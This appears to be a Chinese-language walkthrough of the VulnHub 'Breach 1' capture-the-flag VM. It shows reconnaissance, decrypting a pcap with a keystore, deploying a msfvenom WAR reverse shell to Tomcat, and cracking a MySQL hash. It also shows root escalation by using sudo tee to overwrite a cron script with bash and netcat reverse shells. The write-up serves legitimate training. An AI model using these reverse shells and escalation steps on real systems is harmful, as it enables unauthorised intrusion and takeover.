VulnHub | Breach - 1

news2025/5/18 20:16:10

🌟 关注这个靶场的其它相关笔记:[网安靶场] 红队综合渗透靶场 —— VulnHub · 靶场笔记合集

Breach: 1 ~ VulnHubBreach: 1, made by mrb3n. Download & walkthrough links are available.https://vulnhub.com/entry/breach-1,152/

0x01:Breach - 1 靶场描述

0x0101:靶场简介

"Breach 1.0" 是一个适合新手到中级玩家的 boot2root/CTF 挑战。它要求参与者进行扎实的信息收集和坚持不懈的探索。该靶场的关键信息如下(好像没有目标嘿):

  • 目标 VM 的静态 IP 地址是 192.168.110.140,需要将主机的仅主机适配器配置到该子网。

  • 该靶场是该系列的第一个挑战,旨在提高参与者的渗透测试技能。

  • 如果遇到问题,可以联系发布者,其 Twitter 账号为 https://twitter.com/mrb3n813

  • 靶场提示用户可能需要使用 7zip 来解压 ZIP 文件。

0x0102:环境搭建

特别建议:渗透时采用 Kali Linux 2021 版,过高版本生成的反弹 Shell 会无法运行。

Download:https://download.vulnhub.com/breach/Breach-1.0.zip

该靶场的搭建十分简单,首先从上面的链接将靶机文件下载下来会解压,解压后得到两个文件:

然后使用 VMWare 打开上面那个 .ova 文件,它就会让你设置虚拟机名称和存放位置,你照着提示设置就行(都打这个靶场了,I Trust You),设置完成后虚拟机就装好了:

值得注意的是,该靶场的描述中说的很清楚,该虚拟机设置了静态 IP,且 IP 为 192.168.110.140,为了能成功的给该虚拟机分配 IP,我们还得设置一下 VMWare 的网络设置。

首先点击 VMWare 左上角的编辑,然后选择 “虚拟网络编辑器”,点击 “更改设置” 进入配置页面:

在该页面中我们需要设置子网 IP 为 192.168.110.0,并在 “DHCP 设置” 中修改起始 IP 和终止 IP 的范围为 192.168.110.128 ~ 192.168.110.254:

配置完成后修改 Breach 1 的网络适配器为 “仅主机模式”,另外我们再把一台 Kali Linux 也配置为仅主机模式(让 Kali 和 Breach 1 在同一个网段,方便后续反弹 Shell 啥的):

全部都配置完成后,我们可以拿 Kali Linux 尝试访问一下靶机(别忘了看一下自己 Kali 的 IP 哦):


如上,环境配置完成,现在,丢弃掉所有你已知的信息,开始我们的沉浸式渗透之旅。

0x02:Breach - 1 渗透流程

0x0201:Web 信息收集 —— 主机发现

渗透测试第一步,主机发现,看一下与攻击机同网段的有哪些崽崽(装作不知道靶机的存在),我们先看一下自己的 IP:

ip address

然后使用 Nmap 来进行局域网的主机发现:

nmap -sn 192.168.110.0/24

OK,这个局域网结构比较简单,我们很轻松确定了渗透目标的地址:192.168.110.140。

0x0202:Web 信息收集 —— 端口扫描

确定了目标后,我们来看看目标的端口开放情况,同样采用 Nmap:

nmap -A -v -p 0-65535 192.168.110.140
​
# -A => 自动探测目标服务的版本信息和操作系统信息,但其实会留下马脚
# -v => 运行中间会打印运行日志
# -p 0-65535 => 指定探测目标全端口

如上,可以看到,随便扫扫就发现目标开放了一堆端口,要知道一个服务对应一个端口,开这么多端口,它运行了 65535 个程序?大概率没有,应该是安装了安全设备,混淆了我们的视听。

0x0203:Web 信息收集 —— 页面信息收集

既然无法确定具体开放的端口,那么我们就先从最熟悉的 HTTP 80 端口开始渗透吧,访问目标的 80 端口:

http://192.168.110.140/

是一个小故事,讲述了一个受到公司压榨的崽崽,在离职前给公司拉了个大的。记住这个入侵排查小组的领导人的名字,Bill Lumbergh,后面要考。

查看当前页面源代码,可以看到网页源代码中有一串字符,疑似是某种加密算法:

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

经常打 CTF 的宝子们应该一眼定真 Base64 了,我们尝试使用 CyberChef 解密一下:

pgibbons:damnitfeel$goodtobeagang$ta

如上,解密出了一个 Key : Value 格式的字符串,但是暂时不知道它有啥用,我们继续信息收集。

0x0204:Web 信息收集 —— Employee portal ?

继续信息收集,如果你眼睛比较尖可以看到,当鼠标移动到那个老人的位置上时,鼠标会变成小手,意思是这是个超链接:

点击超链接,我们会来到一个,导航页面:

如上,可以看到导航页面上有一个 “Employee portal” 即员工门户的界面,我们进入看看:

如上,这是个 impresscms 框架,并且页面上有个登录框。此时,联想一下我们前面破解的 Base64 的那个 Key : Value 格式的值,Try Try,看看是不是账号密码:

账号: pgibbons
密码: damnitfeel$goodtobeagang$ta

如上,通过前面解密得到的账号密码,我们成功进入了员工门户,接下来,就是后台入侵啦。

0x0205:impresscms 信息收集 —— 获取 keystore 文件

要是 SRC,这可能就是结束了,但作为一个成熟的 Hacker,不以拿到控制权为目标的渗透,就是过家家。后台入侵的一般思路有两种:

  • 历史漏洞梭哈:通过查找当前 CMS 公开的历史漏洞,查看有无可利用的方向。

  • 敏感信息收集:通过收集用户敏感信息或者 CMS 的敏感接口,以社工方式获取 Shell。

这里我们优先采用第二种,进了后台你难道不想看看人家说了啥嘛 😏,优先查看 Inbox,为啥?因为它的颜色比较醒目:

先看第一个信息,“Posting sensitive content”,虽然没啥特别信息,但起码确定了我们当前查看的是哪个崽崽的信息:

继续,看第二个信息,“IDS/IPS system”,这其实是两个安全设备,莫非,靶机上搭载了?:

继续,看第三个信息,“FWD: Thank you for your purchase of Super Secret Cert Pro!”:

这个信息量有点大,简而言之,我们似乎会获得一个 SSL 证书?SSL 一般是与 HTTPS 配合使用的,不管了,先访问它提供的地址:

http://192.168.110.140/.keystore

访问完成后,我们会下载一个 .keystore 文件,笔者将其重命名为了 breach.keystore,该文件中疑似存放了一个 SSL 证书,但是,暂时不知道咋用(保留):

0x0206:impresscms 信息收集 —— 获取攻击流量包

继续对 impresscms 后台进行信息收集,总之就是全部点一遍,特别留意当前用户发送或者接收的信息,注意了,这一步一定要耐心。最终经过我们的不屑努力,会在 ”View Account“ 菜单中发现下面这个内容:

点击进入 ”SSL implementation test capture“ :

这个里面信息量有点大,总结下来有以下几点:

  • 它们红队重现了 Hack 攻击,并且上传了一份 pcap 流量包,地址如下:

    • http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

  • pcap 流量包中流量被加密了,Peter Gibbons 无法对其解密(水货?)

  • 有人告诉 Peter Gibbons,alias、storepassword 和 keypassword 都叫 tomcat。

一个一个利用吧,我们先把 pcap 流量包下载下来,因为这个流量包是 Hack 攻击流量包,所以我们完全可以根据流量包的信息重现攻击流程,对目标进行渗透:

0x0207:流量包数据分析 —— TLSv 1.2 的前世今生

pcapng 是一个流量包,我们需要借助 WireShark 对其进行分析。使用 WireShark 加载我们刚刚下载下来的流量包,随便翻翻:

流量包中有 UDP、TCP、TLSv1.2 协议的内容,我们着重了解一下 TLSv1.2。顺便补充一个小知识点,即 HTTPS & SSL & TLS 协议的关系:

知识拓展:HTTPS & SSL & TLS 协议的关系

HTTPS(Hyper Text Transfer Protocol Secure)协议可以简单理解为 HTTP + SSL/TLS,即它采用 HTTP 传输数据,但为了确保数据的安全,所以会用 SSL/TLS 来对数据进行加密。

SSL(Secure Sockets Layer)和 TLS(Transport Layer Security)是互联网中用于保障网络通信安全的两种协议,TLS 是从 SSL 发展而来的。

SSL 协议是 1994 年由网景公司开发的,随着不断发展,在 SSL 3.0 的时候发现该协议中存在一些安全漏洞,后就换成了 TLS 1.0,现在通过不断迭代就有了 TLS 1.2、TLS 1.3。

如上,可以发现 TLS v1.2 实际上就是从 SSL 发展而来的,所以我们捕获的流量包中的 TLSv1.2 协议的流量说白了就是被加密的流量,既然有加密,那肯定能解密,解密我们就需要用到一组密钥。

0x0208:流量包数据分析 —— keystore 导出 SSL 证书

那么如何利用 WireShark 解密 HTTPS 流量呢,可以参考下面这篇文章(笔者也是边做边搜的):

Wireshark解密HTTPS流量的两种方法 - 豫让 - 博客园原理 我们先回顾一下SSL/TLS的整个握手过程: Clienthello:发送客户端的功能和首选项给服务器,在连接建立后,当希望重协商、或者响应服务器的重协商请求时会发送。 version:客户端支持的最佳协议版本 Random:共32字节,28字节随机数,4字节额外信息,受客户端时钟影响(为了避https://www.cnblogs.com/yurang/p/11505741.html

通过阅读文章,可以看到,他是通过在 WireShark 的配置中导入了 SSL 证书来进行解密的,且该证书的后缀为 .p12

那么问题来了,这个 .p12 证书我们咋看?还记得我们前面收集的 .keystore 文件吗,这其实就是个存储密钥(公钥、私钥)的容器(这个也是笔者做的时候才了解到的,我们很多时候做题就是这样,边做边学,还要快速学习):

https://zhuanlan.zhihu.com/p/4482221835https://zhuanlan.zhihu.com/p/4482221835

从上面那篇文章中我们可以了解到,操作 .keystore 文件我们需要用到 keytool 这个工具,该工具是安装完 Java 环境后自带的,Java 的环境配置可以参考下面这篇文章:

参考资料 🚀:Java · 初窥门径 —— Java 环境配置

通过下面这个命令,我们可以列出密钥库中的条目内容,列出密钥库条目是需要密码的,但从前面的信息收集中我们已经得知了密码是 tomcat:

### 通过 keytool 列出密钥库中的条目信息
keytool -list -keystore breach.keystore -storepass tomcat
​
# -list => 列出
# -keystore <keystore_file> => 指定要操作的密钥库
# -storepass <password> => 密钥库的解密密码

如上,可以看到,密钥库中确实有一个证书,盲猜就是我们需要的 SSL 私钥证书,可以用来解密 TLS 流量的。我们此时可以输入下面的内容,将证书从密钥库中导出:

### 将密钥库中的条目从 JKS 格式转换为 PKCS12 格式,并更改别名
keytool -importkeystore -srckeystore breach.keystore -destkeystore breach.p12 -srcstoretype JKS -deststoretype PKCS12 -srcstorepass tomcat -deststorepass tomcat -destkeypass tomcat -srcalias tomcat -destalias breach
​
# -srckeystore breach.keystore   => 源密钥库文件
# -destkeystore breach.p12       => 目标密钥库文件
# -srcstoretype JKS              => 源密钥库类型为JKS(Java默认格式)
# -deststoretype PKCS12          => 目标密钥库类型为PKCS12(跨平台通用格式)
# -srcstorepass tomcat           => 源密钥库密码
# -deststorepass tomcat          => 目标密钥库密码
# -destkeypass tomcat            => 目标条目(私钥)密码
# -srcalias tomcat               => 源密钥库中的别名
# -destalias breach              => 目标密钥库中的新别名

OK,如上,我们成功从 .keystore 文件中导出了我们需要的 SSL 私钥证书(公私钥加密了解一下)。

0x0209:流量包数据分析 —— WireShark 解密 HTTPS 流量

有了 SSL 的私钥证书,我们就可以使用 WireShark 对 TLSv1.2 协议流量(也就是 HTTPS 的加密流量)进行解密了。首先在 WireShark 页面上选择 “编辑”,点击 “首选项” 菜单:

在 “首选项” 菜单中找到 Protocols (协议)选项:

然后就在这个 Protocols 里找到 TLS 协议(因为我们要解密的是 TLS v1.2 的流量嘛),点击 Edit:

然后将我们刚刚拿到的 SSL 私钥证书导入进去,配置如下:

配置完成后,你就会看到,解密出了一堆 HTTP 请求:

0x0210:流量包数据分析 —— HTTP 攻击链路还原

筛选出流量中的 HTTP 协议,然后追踪一下,可以看到如下内容:

一眼定真,攻击者登录了一个后台,我们把 200 的那个 HTTP 请求响应的 HTML 代码当下来看看:

如上,可以看到,当下来的 HTML 的内容很明显就是一个 Tomcat 的后台页面。那么接下来,思路很清晰了,我们也去请求服务端的那个 Tomcat 的后台页面看看:

https://192.168.110.140:8443/_M@nag3Me/html

0x0211:攻击链路还原 —— 访问目标 Tomcat 后台

很遗憾的是,使用自带的浏览器,我们访问上面的地址,他会提示这个内容:

无法访问该站点?一般这种情况,小白可能就以为,目标没有开启这个服务,或者我们网断了?但其实不是,这是由于靶机的 SSL 证书的问题:

当我们访问某个站点时,浏览器会先拿到服务器的证书文件,该文件可以证明这个服务器是真实的服务器,没有被伪造,然后浏览器会去校验该证书文件的准确性,如果证书有问题,现在的浏览器就会直接组织用户对其进行的访问,也就会出现上面展示的内容。

那么解决思路其实比较简单,有两种:

  • 不推荐:降低浏览器的安全级别(这个说实话,笔者也不会,但也不建议这么做)。

  • 推荐:使用代理浏览器,只要确保证书正确就可以了。

我们可以采用 BurpSuite 自带的浏览器对目标发起访问,因为 BP 浏览器中间隔了个 BP,BP 会将服务端发送过来的数据,用自己的证书签名后发送给客户的浏览器,而 BP 证书是没有问题的,所以客户的浏览器就会认可这个信息,自然客户端的浏览器就会允许访问目标站点了:

理论成功,BP 启动 !! 使用 BP 内置浏览器访问目标 Tomcat 后台地址:

https://192.168.110.140:8443/_M@nag3Me/html

如上,使用 BP 内置浏览器访问攻击者提供的地址,果然,访问成功,但是弹出了一个认证弹窗,这就是下一步我们要攻破的内容。

0x0212:数据包流量分析 —— HTTP Basic 认证

像这种一个弹窗弹出来,让你输入账号密码的,在如今来看不是很常见,这其实是 HTTP Basic 认证,关于 HTTP Basic 认证,读者可以参考下面这个地址:

HTTP认证之基本认证——Basic(一) - xiaoxiaotank - 博客园导航 HTTP认证之基本认证——Basic(一) HTTP认证之基本认证——Basic(二) HTTP认证之摘要认证——Digest(一) HTTP认证之摘要认证——Digest(二) 一、概述 Basic认证是一种较为简单的HTTP认证方式,客户端通过明文(Base64编码格式)传输用户名和密码到https://www.cnblogs.com/xiaoxiaotank/p/11009796.html

其它内容笔者都没咋看,笔者一眼定真 “客户端通过明文(Base64 编码格式)传输用户名和密码到服务端进行认证”:

通过上面的描述可以得知,认证是明文认证,联想一下我们刚刚捕获的流量包,里面铁有正确的账号密码:

tomcat:Tt\5D8F(#!*u=G)4m7zB

使用上面得到的账号密码,我们尝试登录一下:

账号: tomcat
密码: Tt\5D8F(#!*u=G)4m7zB

如上,成功进入靶机的 Tomcat 后台,众所周知,Tomcat 后台可以用来部署项目,比如 。。。部署一个后门项目?

0x0213:Tomcat 后台渗透 —— 反弹 Shell 的坎坷之路

1. Kali Linux 版本过高引起的灾难

笔者一开始挖掘到这个后台后,第一时间其实就想用 Kali Linux 的 MSF 生成一个 War 的 Java 后门项目,然后部署上去 Get Shell,但是很遗憾,部署后访问是下面这个结果:

后面收集信息得知,是 Kali Linux 2024 版本太高了,用它的 MSF 生成的 WAR 项目在这个 Tomcat 6.0.39 的版本上无法运行 。。。。 这不寄了嘛,然后笔者就走上了另外两条不归路。

2. AntSword & 冰蝎 & 哥斯拉 Get Shell 无果

当时因为测试使用 Kali Linux 2024,我嫌切换系统 + 配置环境太麻烦,果断换工具,想先用 AntSword 啥的 Get 个 Shell 看看。为此我看了不少文章:

AntSword & 冰蝎 —— 参考资料

  • 纯 WebShell 无管理工具版的:Tomcat后台部署war木马getshell

  • Tomcat 弱口令爆破 + 部署 War 后门:Tomcat弱口令爆破+war部署getshell

  • AntSword Java 木马:渗透测试 - jsp一句话大马小马 &&冰蝎(2025/3/13更新)

  • AntSword Java 木马:蚁剑jsp一句话木马

  • AntSword War 包木马制作:一个有意思的双层内网渗透实验

  • 冰蝎使用流程:webshell管理工具-冰蝎(Behinder)的安装和基础使用(msf联动,流量特征)

    • 备注:默认密码 rebeyond

  • 冰蝎 Java lang.Exception 问题解决:切换 Java 11 版本

    • 参考链接:解决冰蝎4.1连接webshell报错问题

  • 冰蝎 Javax.net.ssl.SSLHandshakeException 问题解决:

    • javax.net.ssl.SSLHandshakeException报错问题解决方法(亲测有效)-CSDN博客

    • 【Java】已解决:javax.net.ssl.SSLHandshakeException: SSL-腾讯云开发者社区-腾讯云

反正看下来和试下来,一个能用的没 😂,当你把 WebShell 传上去后,部分是能直接使用的,但是每过一段时间,你再访问,它就显示 Not Found(这个后面要考)

反正总而言之,没啥好用的 WebShell,不过也学到了点东西,比如如何把 JSP 打包成 War 包上传:

  1. 编写 test.jsp 文件,并将该文件放到一个文件夹中,比如 Test 文件夹。

  2. 进入 Test 文件夹,输入下面的内容,即可把 Test 文件夹下的内容打包为 War 包:

jar -cvf ant.war .

3. 向命运低头 —— 降低 Kali Linux 版本成功 Get Shell

最后没办法,笔者去下载了一个 Kali Linux 2021 的版本,Kali 的历史版本下载路径如下:

Kali 历史发布版本下载:Index of /kali-images/

然后把该系统配置到了渗透的局域网中(配置流程开头给了),并使用下面的命令通过该系统生成一个 WAR 的后门文件:

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.150 lport=7777 -f war -o shell.war

然后在 Kali Linux 的 MSF 中输入下面的命令,开启 Shell 的接收端:

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.150
set lport 7777
run

然后,我们把刚刚获得的 War 包后门部署到 Tomcat 上并访问即可:

如上,现在我们已经成功拿到了靶机的 Shell 了,那么接下来就要进入我们的主机渗透环节了。

0x0214:Linux 主机渗透 —— 半交互 Shell => 交互式 Shell

现在我们已经拿到靶机的一个低级的控制权了,但我们渗透的目标是 Root,所以接下来就需要开始进行提权了,我们先看看当前我们是啥权限:

getuid

如上,一个平平无奇的 tomcat6,输入下面的命令进入半交互式 Shell 中(有时候也是直接进入交互式 Shell):

shell

如上,向上面这种 Shell,前面没有提示符的,笔者喜欢称其为半交互式 Shell,这种 Shell,虽然也能执行命令,并且返回结果,但当我们想要运行比如 vim 这种需要多次交互的命令时,上面这种 Shell 其实是不支持的,此时我们可以通过下面这个命令,对 Shell 进行美化一下:

python -c 'import pty; pty.spawn("/bin/bash")'

如上,美化后的 Shell 是不是好看很多,并且在这种模式下我们是能够完成很多交互操作的,虽然表现不如真正的用远程工具连接的那么好,但也不至于很差。

0x0215:Linux 主机渗透 —— 失败的内核提权

参考资料 🚀:Linux 提权 — 系统内核溢出漏洞提权

提权的默认思路,先确定靶机的系统型号,看看有没有啥内核漏洞可以直接提权的:

uname -a # 查看内核版本

如上这是个 Ubuntu 的系统,内核版本是 4.2.0 我们根据此信息去 MSF 中搜索利用脚本看看:

searchsploit Ubuntu 4.2.0

笔者测试了如下这么多的脚本,反正一个能用的都没:

47169.c
43418.c
44300.c
44298.c
45010.c
45553.c
41886.c
41995.c
15962.c

那内核漏洞没搞头了,下面还有啥思路 ?有的兄弟有的,那么多想法呢:

  1. 在当前用户的工作路径,和其他路径中查找敏感信息。

  2. 通过 history 命令查看当前用户历史执行的命令。

  3. 通过 sudo -l 查看当前用户可以执行的的 sudo 命令(Sudo)提权。

不过由于当前用户是个 tomcat6 明显只是专门为部署 Web 服务新建的用户,所以其 history 是没啥了,估计它也没工作路径,Sudo 就更别提了。但是呢,环节虽然恶劣,但也不是啥都不能做,继续收集一波信息。

0x0216:Linux 主机渗透 —— 主机用户信息收集

众所周知 Linux 系统中的 /etc/passwd 中存放了所有用户的信息,且该文件,任意用户可读,我们先来看看这个系统有些谁,特别留意那些可以登录的用户:

cat /etc/passwd

简单分析一下,当前系统中有这么几个可疑的账号(/etc/passwd 中那些 nologin 就是无法登录的用户,这些可以不用管):

root:x:0:0:root:/root:/bin/bash
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash

这几个崽崽都是可以登录的呀,这个 blumergh 有没有感觉眼熟 ?他不就是那个 Leader 嘛(不眼熟的重新回去看看故事)。

0x0217:Linux Web 用户渗透 —— Tomcat Web 目录信息挖掘

我们当前用户是啥 ?是 tomcat6 !这是个啥用户 ?这是个管理 Web 服务的用户 !那很自然的 Tomcat6 应该是有权限访问 Web 目录的吧,写过 PHP 或者搭建过服务器的崽崽应该比较清楚,我们经常会把数据库的连接密码写到一个文件中,然后在项目里需要与数据库建立连接的地方再引用该文件,所以呢,我么去 Web 目录下探探宝 !!

该站点是采用 Apache Tomcat 配置的,所以默认情况下,其 Web 目录为:

/var/www/html

如上,来到 /var/www 会发现一些奇怪的东西,进去看看,进入后会发现几个奇怪的文件:

先看第一个:

cat 0d*

如上中大奖了,拿到了目标机器的数据库账号密码,还是 root 级别的,第二个文件笔者也看了,其实也是数据库的账号密码,这里就不做展示了。

0x0218:数据库信息挖掘 —— 数据库系统用户密码获取

既然靶机上有 MySQL(这个在 /etc/passwd 中出现过),我猜其应该也有对应的工具,我们使用下面的命令尝试连接一下数据库(密码直接按 Enter 代表空即可):

mysql -u root -p

如上,直接进入靶机的数据库中,我们知道数据库里会有很多表,特别是像这种装了 CMS 的,表中铁有诸如 “员工信息” 之类的内容,这里面估计又会有员工的密码 。。。 实战中,我们完全可以对其进行拖库,然后批量跑密码(不建议这么做,除非你想吃国家饭)。

除了 CMS 系统中的用户外,我们知道,MySQL 内部也有自己的用户,比如我们现在使用的 root 用户就是数据库用户,而这些用户就储存在 mysql 数据库中:

参考资料 🚀:SQL 注入漏洞 —— MySQL 数据库概述

show databases;

输入下面的命令可以设置当前使用的数据库,比如 mysql 数据库:

use mysql;

然后我们来查看一下 mysql 数据库中的表有哪些(这些在 SQL 注入的章节中应该都是学过的,笔者这么写自己都觉得有点啰里啰唆了):

show tables;

如上可以看到 mysql 数据库中有一个 user 表,我们输入下面的命令查看一下表结构:

describe user;

如上,可以看到,这个 user 表的字段还挺多的,不过我们就单纯关注用户的账号和密码:

select user,password from user;

如上,一眼定真,密码是通过 md5 加密的,特别留意用户名,milton ?这个不是 /etc/passwd 中的一个用户嘛 ?看来我们必定要爆破它的密码了,情绪烘托到这里了:

milton : 6450d89bd3aff1d893b85d3ad65d2ec2

访问下面的站点,将密文给它,最终破解出来的明文如下:

thelaststraw
MD5免费在线解密破解_MD5在线加密-SOMD5MD5在线免费破解,支持md5,sha1,mysql,sha256,sha512,md4,织梦,vBulletin,Discuz,md5(Joomla),mssql(2012),ntlm,md5(base64),sha1(base64),md5(wordpress),md5(Phpbb3),md5(Unix),des(Unix)等数十种加密方式https://www.somd5.com/

0x0219:Linux 权限提升 —— 数据库弱口令

在上一阶段中,我们通过一个在线网站,成功破解了对方数据库中 milton 用户的密码,而且,十分凑巧,我们当前渗透的 Linux 系统中,就有这个用户。根据用户的习惯(多个不同系统采用同一个密码体系),我们可以 Try Try,在我们获得的 Shell 中输入下面的命令:

su milton

如上,通过破解的密码,我们成功登上了 milton 的账号,从一个无 Shell 的用户进入了一个有 Shell 的用户,咋不算是一种提权呢?

0x0220:Linux 主机用户渗透 —— 历史命令挖掘

一开始我们获得的 Shell 是 Tomcat6 的,这是个管理 Web 应用的账户,没有 home 目录(一般 history 也是放在 home 目录下的),所以其没有 history 很正常。

但是现在,我们渗透的用户是主机系统中真实存在的用户,它是有 home 目录的,自然也是有 history 的,所以为了,确保现场的完整,笔者建议,先看看这个崽崽之前运行了些啥:

history

如上,很扎眼的信息是 su rootsu blumbergh 这两条,证明了我们当前拿到的用户应该是有这两个用户密码的,继续思考人性 。你说有没有一种可能,milton 会把这两个人的密码存放在这台机器上,并且防止自己忘记 ?(其实在实战中,比如网管,它要管那么多电脑的账号密码,你说它会不会有小本本记录?如果你拿到了这个小本本 。。。。 不敢想想。)

0x0221:Linux 主机用户渗透 —— 用户主目录信息收集

上面都是臆想,整点实在的,去看看 milton 用户的主目录:

主目录没啥东西,一个 sh 脚本和一个 jpg,jpg 笔者下载下来看过了,啥也没,是一个小胖子,你问我这种情况下咋从靶机下载东西 ? 可以参考下面这个文章:

参考资料 🚀:隧道代理 — 反弹 Shell - NetCat(NC) 反弹 Shell

我们查看一下 sh 文件中的内容:

cat some_script.sh

哇哦,好惊喜哦,确实是啥都没有,不过这也证明了,我们的每一步操作都在作者的预料之中 😂。

0x0222:图片隐写豪取 Bill Lumbergh 用户权限

到上面那里,一般情况下已经没啥思路了,内核漏洞没有、SUDO 权限没有(这个是笔者偷偷测的),然后 SUID(这个笔者倒是没测,不过我猜也没,哈哈哈实战还是要测一下的)?

这里是一个脑洞题,我们当前拿到的用户是 milton,通过其 history 发现了该用户曾经登录过 root 和 blumbergh 这两个用户的账号,针对 blumbergh 你有没有好奇一下 ?它不就是提示里那个崽崽嘛:

它的全名是 Bill Lumbergh,如果你前期对靶机做过目录扫描,会发现下面这个路径:

http://192.168.110.140/images/

访问上面那个路径,是一个图片文件夹的路径遍历,且文件夹中有个图片正好叫 bill.png,Bill Lumbergh ? :

将这个图片下载下来,利用 strings 这个工具就可以从中提取出 Bill Lumbergh 的账号密码:

coffeestains

关于 Strings 这个工具,它其实就是从二进制文件中打印出可打印字符的一个工具,做 CTF 时经常用,你也可以用 010Editor 也是一眼定真。

如上,我们通过 Strings 提取出来的那个字符就是 Bill 的密码,我们尝试切换到 blumbergh 这个用户的账号上看看:

su blumbergh

如上,切换成功 😂,咋说呢 ?是有提示,但是你就是放到 millon 用户主目录上我都会想想,结果你放到了公共资源目录下,这可还行 ?对于脑洞题,只能说,出题人高兴就好。

0x0223:Linux 主机用户渗透 —— 历史命令挖掘

继续,现在我们已经拿到了 Bill Lumbergh 账户的控制权了,老样子,看看它的历史命令:

history

如上,还是比较简单的,Bill Lumbergh 看了一下 /usr/share/cleanup 下的 tidyup.sh 文件,我们也看看这是个啥:

cat /usr/share/cleanup/tidyup.sh

这是个 Hacker 防御脚本,它每三分钟运行一次,会把 Hacker 的恶意程序给删除掉 。。。 这就是为啥,我们在 Tomcat 中部署后门时,每隔一段时间再次访问就会显示 Not Found 的原因。

0x0224:Linux 信息收集 —— 定时任务信息

参考资料 🚀:Linux 提权 & 维持 — 系统错误配置提权 - 计划任务提权

查看 tidyup.sh 脚本内容,发现其每三分钟运行一次,这不就是定时任务嘛,那么接下来,我们来顺水推舟,看看当前机器的定时任务有没有啥 Bug,输入下面的命令,查看系统中已有的定时任务:

cat /etc/crontab

emmmm,啥也没有,居然没有看到关于 tidyup.sh 的定时任务 ?不过这也正常,因为 /etc/crontab 是系统范围内的 crontab 文件,每个用户还有自己的定时任务文件呢,没有就没有吧,反正从渗透感觉来看,那个 tidyup.sh 确实是运行了的。

我们再来看一下 tidyup.sh 的归属(我们不就是想用 tidyup.sh 结合定时任务提权嘛,那肯定得看看我们有没有对其的编辑权限咯):

ls -al /usr/share/cleanup/

炸缸了,我们对其也就拥有可读可执行的权限 。。。 不可编辑。OK,作为一个成熟的 Hacker,你得换个思路了,想想怎么绕过这个权限 。。。 让我们可写 ?

0x0225:Linux 权限提升 —— SUDO + 定时任务 提权

参考资料 🚀:Linux 提权 & 维持 — 系统错误配置提权 - Sudo 滥用提权

别忘了,我们还有 SUDO 提权,SUID 提权呐,首先输入下面的命令,看看我们当前用户可以使用 Sudo 执行的命令:

sudo -l

哎哟 ?我们当前用户(blumbergh)可以无密码的以 Root 身份运行下面这个命令:

sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

OK,压制一下激动的心,看一下 tee 命令有啥用:

Linux tee命令 | 菜鸟教程Linux tee命令 Linux 命令大全 Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。 语法tee [-ai][--help][--version][文件...] 参数: -a或--append 附加到既有文件的后面,而非覆盖它. -i或--ignore-interrupts 忽略中断信号。 --help 在线帮助。 -..https://www.runoob.com/linux/linux-comm-tee.html

简而言之,tee 命令会接收用户的输入,并将输入输出到用户后面指定的文件中,看下面这个例子:

tee hack.txt

我们继续多想一步,通过 tee <file> 的形式我们是能接收用户的输入,并把输入流导入到 file 中,那我们有没有其他更优雅的导入方式呢 ? Linux 的管道符了解一下 ?它能把前面命令执行的结果的输出,作为后面命令执行的输入 !!

1. Bash 反弹 Shell —— 失败

笔者备注:Bash 反弹 Shell 没用,但是后面的 NC 反弹 Shell 可以。

使用管道符,我们可以先将反弹连接写入到一个 txt 文件中,然后把该 txt 作为输入,输出到 tidyup.sh 脚本中:

echo "bash -i >& /dev/tcp/192.168.110.150/8888 0>&1" > shell.sh

然后把 shell.sh 作为输入,利用管道符,将内容输出到 tidyup.sh 中:

cat shell.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

如上,我们再次查看 tidyup.sh 中的内容,确实变成了反弹 Shell 的内容,此时我们在攻击机上使用 NC 接收一下 Shell,最多等待三分钟,靶机就会以 Root 权限上线:

nc -lvp 8888

emmm,怪尴尬的,Bash 反弹 Shell 失败了,俺寻思俺命令也没毛病呀,我甚至还拿 blumbergh 这个用户主动运行了一次,成功了,但是为啥自动运行就失败捏。

2. Netcat 反弹 Shell —— 成功

参考资料 🚀:隧道代理 — 反弹 Shell - NetCat(NC) 反弹 Shell

除 Bash 反弹 Shell 外,我们其实有 NC 反弹 Shell,老样子把 NC 反弹 Shell 的脚本写到 shell.sh 中:

echo "nc -e /bin/bash 192.168.110.150 8888" > shell.sh

然后把 shell.sh 作为输入,利用管道符,将内容输出到 tidyup.sh 中:

cat shell.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

然后老样子,攻击机开启监听,等待靶机定时任务执行,反弹 Shell:

如上,成功 Get Root 权限,老样子,使用下面的命令美化一下终端:

python -c 'import pty; pty.spawn("/bin/bash")'

0x0226:夺取渗透目标 —— .flag.txt

现在我们已经是 Root 用户了,已经是顶级权限了,但别忘了我们的目标 flag。一般 flag 其实都会放到 root 用户的主目录下:

ls /root

如上查看 root 主目录,只有一个 flair.jpg,难道这是一个没有 flag 的靶场嘛 ?其实并不是,只是 flag 被隐藏了而已:

ls -al /root

都到这了,看看 .flag.txt 里的内容吧:

cat /root/.flag.txt

0x03:Breach - 1 参考资料

KeyStore是什么-CSDN博客文章浏览阅读1.4w次,点赞13次,收藏45次。简述What is the purpose of keystoreKeyStore是一个存储库,可用于存储一系列密钥(Secret Key)、密钥对(Key Pair)或证书(Certificate)。密钥:只有一个钥,一般是对称加密时使用。密钥对:包含公钥(Public Key)和私钥(Private Key),一般是非对称加密时使用。KeyStore可以设置密码。密钥、密钥对、证书在KeyStore统称为Key,每一个Key通过alias(别名)区分。Key也可以设置密码。JKS(J_keystore https://blog.csdn.net/qq_31772441/article/details/119525532

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2378747.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在Oracle到GreatSQL迁移中排序规则改变引发的乱码问题分析及解决

